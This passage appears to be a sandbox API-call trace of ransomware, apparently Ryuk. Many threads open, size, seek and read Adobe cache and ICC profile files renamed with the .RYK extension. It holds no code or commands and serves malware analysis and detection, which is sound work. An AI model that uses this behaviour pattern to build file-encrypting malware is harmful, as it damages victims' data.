	[0203.245] SetFilePointerEx (in: hFile=0x4ac, liDistanceToMove=0x21cd0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0203.245] ReadFile (in: hFile=0x4ac, lpBuffer=0x8dafa70, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x8daf9e0, lpOverlapped=0x0 | out: lpBuffer=0x8dafa70*, lpNumberOfBytesRead=0x8daf9e0*=0x19, lpOverlapped=0x0) returned 1
	[0203.245] CloseHandle (hObject=0x4ac) returned 1

Thread:
	id = 1706
	os_tid = 0x206c

	[0203.247] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\10.0\\Cache\\AcroFnt10.lst.RYK", dwFileAttributes=0x80) returned 1
	[0203.247] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\10.0\\Cache\\AcroFnt10.lst.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\adobe\\acrobat\\10.0\\cache\\acrofnt10.lst.ryk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4ac
	[0203.247] GetFileSizeEx (in: hFile=0x4ac, lpFileSize=0x912f798 | out: lpFileSize=0x912f798*=53474) returned 1
	[0203.247] GetFileSizeEx (in: hFile=0x4ac, lpFileSize=0x912f7a8 | out: lpFileSize=0x912f7a8*=53474) returned 1
	[0203.248] SetFilePointerEx (in: hFile=0x4ac, liDistanceToMove=0xcfc0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0203.248] ReadFile (in: hFile=0x4ac, lpBuffer=0x912f7f0, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x912f760, lpOverlapped=0x0 | out: lpBuffer=0x912f7f0*, lpNumberOfBytesRead=0x912f760*=0x19, lpOverlapped=0x0) returned 1
	[0203.248] CloseHandle (hObject=0x4ac) returned 1

Thread:
	id = 1707
	os_tid = 0x2070

	[0203.249] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\10.0\\SharedDataEvents.RYK", dwFileAttributes=0x80) returned 1
	[0203.250] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\10.0\\SharedDataEvents.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\adobe\\acrobat\\10.0\\shareddataevents.ryk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4ac
	[0203.250] GetFileSizeEx (in: hFile=0x4ac, lpFileSize=0x95af7f8 | out: lpFileSize=0x95af7f8*=5410) returned 1
	[0203.250] GetFileSizeEx (in: hFile=0x4ac, lpFileSize=0x95af808 | out: lpFileSize=0x95af808*=5410) returned 1
	[0203.250] SetFilePointerEx (in: hFile=0x4ac, liDistanceToMove=0x1400, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0203.250] ReadFile (in: hFile=0x4ac, lpBuffer=0x95af850, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x95af7c0, lpOverlapped=0x0 | out: lpBuffer=0x95af850*, lpNumberOfBytesRead=0x95af7c0*=0x19, lpOverlapped=0x0) returned 1
	[0203.251] CloseHandle (hObject=0x4ac) returned 1

Thread:
	id = 1708
	os_tid = 0x2074

	[0203.252] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\10.0\\UserCache.bin.RYK", dwFileAttributes=0x80) returned 1
	[0203.253] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\10.0\\UserCache.bin.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\adobe\\acrobat\\10.0\\usercache.bin.ryk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4ac
	[0203.253] GetFileSizeEx (in: hFile=0x4ac, lpFileSize=0x96bfad8 | out: lpFileSize=0x96bfad8*=77762) returned 1
	[0203.253] GetFileSizeEx (in: hFile=0x4ac, lpFileSize=0x96bfae8 | out: lpFileSize=0x96bfae8*=77762) returned 1
	[0203.253] SetFilePointerEx (in: hFile=0x4ac, liDistanceToMove=0x12ea0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0203.253] ReadFile (in: hFile=0x4ac, lpBuffer=0x96bfb30, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x96bfaa0, lpOverlapped=0x0 | out: lpBuffer=0x96bfb30*, lpNumberOfBytesRead=0x96bfaa0*=0x19, lpOverlapped=0x0) returned 1
	[0203.253] CloseHandle (hObject=0x4ac) returned 1

Thread:
	id = 1709
	os_tid = 0x2078

	[0203.255] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\ACECache11.lst.RYK", dwFileAttributes=0x80) returned 1
	[0203.255] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\ACECache11.lst.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\adobe\\color\\acecache11.lst.ryk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4ac
	[0203.255] GetFileSizeEx (in: hFile=0x4ac, lpFileSize=0x992fa18 | out: lpFileSize=0x992fa18*=1458) returned 1
	[0203.255] GetFileSizeEx (in: hFile=0x4ac, lpFileSize=0x992fa28 | out: lpFileSize=0x992fa28*=1458) returned 1
	[0203.256] SetFilePointerEx (in: hFile=0x4ac, liDistanceToMove=0x490, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0203.256] ReadFile (in: hFile=0x4ac, lpBuffer=0x992fa70, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x992f9e0, lpOverlapped=0x0 | out: lpBuffer=0x992fa70*, lpNumberOfBytesRead=0x992f9e0*=0x19, lpOverlapped=0x0) returned 1
	[0203.256] CloseHandle (hObject=0x4ac) returned 1

Thread:
	id = 1710
	os_tid = 0x207c

	[0203.811] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\wscRGB.icc.RYK", dwFileAttributes=0x80) returned 1
	[0204.259] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\wscRGB.icc.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\adobe\\color\\profiles\\wscrgb.icc.ryk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x504
	[0204.260] GetFileSizeEx (in: hFile=0x504, lpFileSize=0x9c1fb98 | out: lpFileSize=0x9c1fb98*=66498) returned 1
	[0204.260] GetFileSizeEx (in: hFile=0x504, lpFileSize=0x9c1fba8 | out: lpFileSize=0x9c1fba8*=66498) returned 1
	[0204.260] SetFilePointerEx (in: hFile=0x504, liDistanceToMove=0x102a0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0204.260] ReadFile (in: hFile=0x504, lpBuffer=0x9c1fbf0, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x9c1fb60, lpOverlapped=0x0 | out: lpBuffer=0x9c1fbf0*, lpNumberOfBytesRead=0x9c1fb60*=0x19, lpOverlapped=0x0) returned 1
	[0204.260] CloseHandle (hObject=0x504) returned 1

Thread:
	id = 1723
	os_tid = 0x20b8

	[0203.811] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\wsRGB.icc.RYK", dwFileAttributes=0x80) returned 1
	[0203.812] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\wsRGB.icc.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\adobe\\color\\profiles\\wsrgb.icc.ryk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4ac
	[0203.812] GetFileSizeEx (in: hFile=0x4ac, lpFileSize=0x9e0f5d8 | out: lpFileSize=0x9e0f5d8*=2962) returned 1
	[0203.812] GetFileSizeEx (in: hFile=0x4ac, lpFileSize=0x9e0f5e8 | out: lpFileSize=0x9e0f5e8*=2962) returned 1
	[0203.812] SetFilePointerEx (in: hFile=0x4ac, liDistanceToMove=0xa70, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0203.812] ReadFile (in: hFile=0x4ac, lpBuffer=0x9e0f630, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x9e0f5a0, lpOverlapped=0x0 | out: lpBuffer=0x9e0f630*, lpNumberOfBytesRead=0x9e0f5a0*=0x19, lpOverlapped=0x0) returned 1
	[0203.812] CloseHandle (hObject=0x4ac) returned 1

Thread:
	id = 1724
	os_tid = 0x20bc

	[0203.814] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\10.0\\AdobeCMapFnt10.lst.RYK", dwFileAttributes=0x80) returned 1
	[0203.815] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\10.0\\AdobeCMapFnt10.lst.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\adobe\\acrobat\\10.0\\adobecmapfnt10.lst.ryk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4ac
	[0203.815] GetFileSizeEx (in: hFile=0x4ac, lpFileSize=0x9fbfb78 | out: lpFileSize=0x9fbfb78*=35394) returned 1
	[0203.815] GetFileSizeEx (in: hFile=0x4ac, lpFileSize=0x9fbfb88 | out: lpFileSize=0x9fbfb88*=35394) returned 1
	[0203.815] SetFilePointerEx (in: hFile=0x4ac, liDistanceToMove=0x8920, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0203.815] ReadFile (in: hFile=0x4ac, lpBuffer=0x9fbfbd0, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x9fbfb40, lpOverlapped=0x0 | out: lpBuffer=0x9fbfbd0*, lpNumberOfBytesRead=0x9fbfb40*=0x19, lpOverlapped=0x0) returned 1
	[0203.816] CloseHandle (hObject=0x4ac) returned 1

Thread:
	id = 1725
	os_tid = 0x20c0

	[0203.817] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\10.0\\AdobeSysFnt10.lst.RYK", dwFileAttributes=0x80) returned 1
	[0203.817] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\10.0\\AdobeSysFnt10.lst.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\adobe\\acrobat\\10.0\\adobesysfnt10.lst.ryk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4ac
	[0203.818] GetFileSizeEx (in: hFile=0x4ac, lpFileSize=0xa1ef858 | out: lpFileSize=0xa1ef858*=138738) returned 1
	[0203.818] GetFileSizeEx (in: hFile=0x4ac, lpFileSize=0xa1ef868 | out: lpFileSize=0xa1ef868*=138738) returned 1
	[0203.818] SetFilePointerEx (in: hFile=0x4ac, liDistanceToMove=0x21cd0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0203.818] ReadFile (in: hFile=0x4ac, lpBuffer=0xa1ef8b0, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0xa1ef820, lpOverlapped=0x0 | out: lpBuffer=0xa1ef8b0*, lpNumberOfBytesRead=0xa1ef820*=0x19, lpOverlapped=0x0) returned 1
	[0203.818] CloseHandle (hObject=0x4ac) returned 1

Thread:
	id = 1726
	os_tid = 0x20c4

	[0203.820] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\10.0\\Cache\\AcroFnt10.lst.RYK", dwFileAttributes=0x80) returned 1
	[0203.821] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\10.0\\Cache\\AcroFnt10.lst.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\adobe\\acrobat\\10.0\\cache\\acrofnt10.lst.ryk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4ac
	[0203.821] GetFileSizeEx (in: hFile=0x4ac, lpFileSize=0x97cf858 | out: lpFileSize=0x97cf858*=53474) returned 1
	[0203.821] GetFileSizeEx (in: hFile=0x4ac, lpFileSize=0x97cf868 | out: lpFileSize=0x97cf868*=53474) returned 1
	[0203.822] SetFilePointerEx (in: hFile=0x4ac, liDistanceToMove=0xcfc0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0203.822] ReadFile (in: hFile=0x4ac, lpBuffer=0x97cf8b0, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x97cf820, lpOverlapped=0x0 | out: lpBuffer=0x97cf8b0*, lpNumberOfBytesRead=0x97cf820*=0x19, lpOverlapped=0x0) returned 1
	[0203.822] CloseHandle (hObject=0x4ac) returned 1

Thread:
	id = 1727
	os_tid = 0x20c8

	[0203.824] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\10.0\\SharedDataEvents.RYK", dwFileAttributes=0x80) returned 1
	[0203.824] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\10.0\\SharedDataEvents.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\adobe\\acrobat\\10.0\\shareddataevents.ryk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4ac
	[0203.824] GetFileSizeEx (in: hFile=0x4ac, lpFileSize=0x900fcd8 | out: lpFileSize=0x900fcd8*=5410) returned 1
	[0203.825] GetFileSizeEx (in: hFile=0x4ac, lpFileSize=0x900fce8 | out: lpFileSize=0x900fce8*=5410) returned 1
	[0203.825] SetFilePointerEx (in: hFile=0x4ac, liDistanceToMove=0x1400, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0203.825] ReadFile (in: hFile=0x4ac, lpBuffer=0x900fd30, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x900fca0, lpOverlapped=0x0 | out: lpBuffer=0x900fd30*, lpNumberOfBytesRead=0x900fca0*=0x19, lpOverlapped=0x0) returned 1
	[0203.825] CloseHandle (hObject=0x4ac) returned 1

Thread:
	id = 1728
	os_tid = 0x20cc

	[0203.827] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\10.0\\UserCache.bin.RYK", dwFileAttributes=0x80) returned 1
	[0203.827] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\10.0\\UserCache.bin.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\adobe\\acrobat\\10.0\\usercache.bin.ryk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4ac
	[0203.828] GetFileSizeEx (in: hFile=0x4ac, lpFileSize=0xa0bfbb8 | out: lpFileSize=0xa0bfbb8*=77762) returned 1
	[0203.828] GetFileSizeEx (in: hFile=0x4ac, lpFileSize=0xa0bfbc8 | out: lpFileSize=0xa0bfbc8*=77762) returned 1
	[0203.828] SetFilePointerEx (in: hFile=0x4ac, liDistanceToMove=0x12ea0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0203.828] ReadFile (in: hFile=0x4ac, lpBuffer=0xa0bfc10, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0xa0bfb80, lpOverlapped=0x0 | out: lpBuffer=0xa0bfc10*, lpNumberOfBytesRead=0xa0bfb80*=0x19, lpOverlapped=0x0) returned 1
	[0203.828] CloseHandle (hObject=0x4ac) returned 1

Thread:
	id = 1729
	os_tid = 0x20d0

	[0204.132] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\ACECache11.lst.RYK", dwFileAttributes=0x80) returned 1
	[0204.132] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\ACECache11.lst.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\adobe\\color\\acecache11.lst.ryk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x428
	[0204.132] GetFileSizeEx (in: hFile=0x428, lpFileSize=0xa32f558 | out: lpFileSize=0xa32f558*=1458) returned 1
	[0204.133] GetFileSizeEx (in: hFile=0x428, lpFileSize=0xa32f568 | out: lpFileSize=0xa32f568*=1458) returned 1
	[0204.133] SetFilePointerEx (in: hFile=0x428, liDistanceToMove=0x490, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0204.133] ReadFile (in: hFile=0x428, lpBuffer=0xa32f5b0, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0xa32f520, lpOverlapped=0x0 | out: lpBuffer=0xa32f5b0*, lpNumberOfBytesRead=0xa32f520*=0x19, lpOverlapped=0x0) returned 1
	[0204.135] CloseHandle (hObject=0x428) returned 1

Thread:
	id = 1740
	os_tid = 0x20fc

	[0204.137] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\wscRGB.icc.RYK", dwFileAttributes=0x80) returned 1
	[0204.137] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\wscRGB.icc.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\adobe\\color\\profiles\\wscrgb.icc.ryk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x428
	[0204.138] GetFileSizeEx (in: hFile=0x428, lpFileSize=0x8d4f858 | out: lpFileSize=0x8d4f858*=66498) returned 1
	[0204.138] GetFileSizeEx (in: hFile=0x428, lpFileSize=0x8d4f868 | out: lpFileSize=0x8d4f868*=66498) returned 1
	[0204.138] SetFilePointerEx (in: hFile=0x428, liDistanceToMove=0x102a0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0204.138] ReadFile (in: hFile=0x428, lpBuffer=0x8d4f8b0, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x8d4f820, lpOverlapped=0x0 | out: lpBuffer=0x8d4f8b0*, lpNumberOfBytesRead=0x8d4f820*=0x19, lpOverlapped=0x0) returned 1
	[0204.138] CloseHandle (hObject=0x428) returned 1

Thread:
	id = 1741
	os_tid = 0x2100

	[0204.140] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\wsRGB.icc.RYK", dwFileAttributes=0x80) returned 1
	[0204.141] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\wsRGB.icc.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\adobe\\color\\profiles\\wsrgb.icc.ryk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x428
	[0204.141] GetFileSizeEx (in: hFile=0x428, lpFileSize=0x8fefad8 | out: lpFileSize=0x8fefad8*=2962) returned 1
	[0204.141] GetFileSizeEx (in: hFile=0x428, lpFileSize=0x8fefae8 | out: lpFileSize=0x8fefae8*=2962) returned 1
	[0204.141] SetFilePointerEx (in: hFile=0x428, liDistanceToMove=0xa70, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0204.141] ReadFile (in: hFile=0x428, lpBuffer=0x8fefb30, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x8fefaa0, lpOverlapped=0x0 | out: lpBuffer=0x8fefb30*, lpNumberOfBytesRead=0x8fefaa0*=0x19, lpOverlapped=0x0) returned 1
	[0204.144] CloseHandle (hObject=0x428) returned 1

Thread:
	id = 1742
	os_tid = 0x2104

	[0204.146] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\10.0\\AdobeCMapFnt10.lst.RYK", dwFileAttributes=0x80) returned 1
	[0204.146] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\10.0\\AdobeCMapFnt10.lst.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\adobe\\acrobat\\10.0\\adobecmapfnt10.lst.ryk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x428
	[0204.146] GetFileSizeEx (in: hFile=0x428, lpFileSize=0x913fc98 | out: lpFileSize=0x913fc98*=35394) returned 1
	[0204.146] GetFileSizeEx (in: hFile=0x428, lpFileSize=0x913fca8 | out: lpFileSize=0x913fca8*=35394) returned 1
	[0204.147] SetFilePointerEx (in: hFile=0x428, liDistanceToMove=0x8920, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0204.147] ReadFile (in: hFile=0x428, lpBuffer=0x913fcf0, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x913fc60, lpOverlapped=0x0 | out: lpBuffer=0x913fcf0*, lpNumberOfBytesRead=0x913fc60*=0x19, lpOverlapped=0x0) returned 1
	[0204.150] CloseHandle (hObject=0x428) returned 1

Thread:
	id = 1743
	os_tid = 0x2108

	[0204.151] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\10.0\\AdobeSysFnt10.lst.RYK", dwFileAttributes=0x80) returned 1
	[0204.151] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\10.0\\AdobeSysFnt10.lst.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\adobe\\acrobat\\10.0\\adobesysfnt10.lst.ryk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x428
	[0204.152] GetFileSizeEx (in: hFile=0x428, lpFileSize=0x95ef638 | out: lpFileSize=0x95ef638*=138738) returned 1
	[0204.152] GetFileSizeEx (in: hFile=0x428, lpFileSize=0x95ef648 | out: lpFileSize=0x95ef648*=138738) returned 1
	[0204.152] SetFilePointerEx (in: hFile=0x428, liDistanceToMove=0x21cd0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0204.152] ReadFile (in: hFile=0x428, lpBuffer=0x95ef690, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x95ef600, lpOverlapped=0x0 | out: lpBuffer=0x95ef690*, lpNumberOfBytesRead=0x95ef600*=0x19, lpOverlapped=0x0) returned 1
	[0204.155] CloseHandle (hObject=0x428) returned 1

Thread:
	id = 1744
	os_tid = 0x210c

	[0204.156] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\10.0\\Cache\\AcroFnt10.lst.RYK", dwFileAttributes=0x80) returned 1
	[0204.157] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\10.0\\Cache\\AcroFnt10.lst.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\adobe\\acrobat\\10.0\\cache\\acrofnt10.lst.ryk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x428
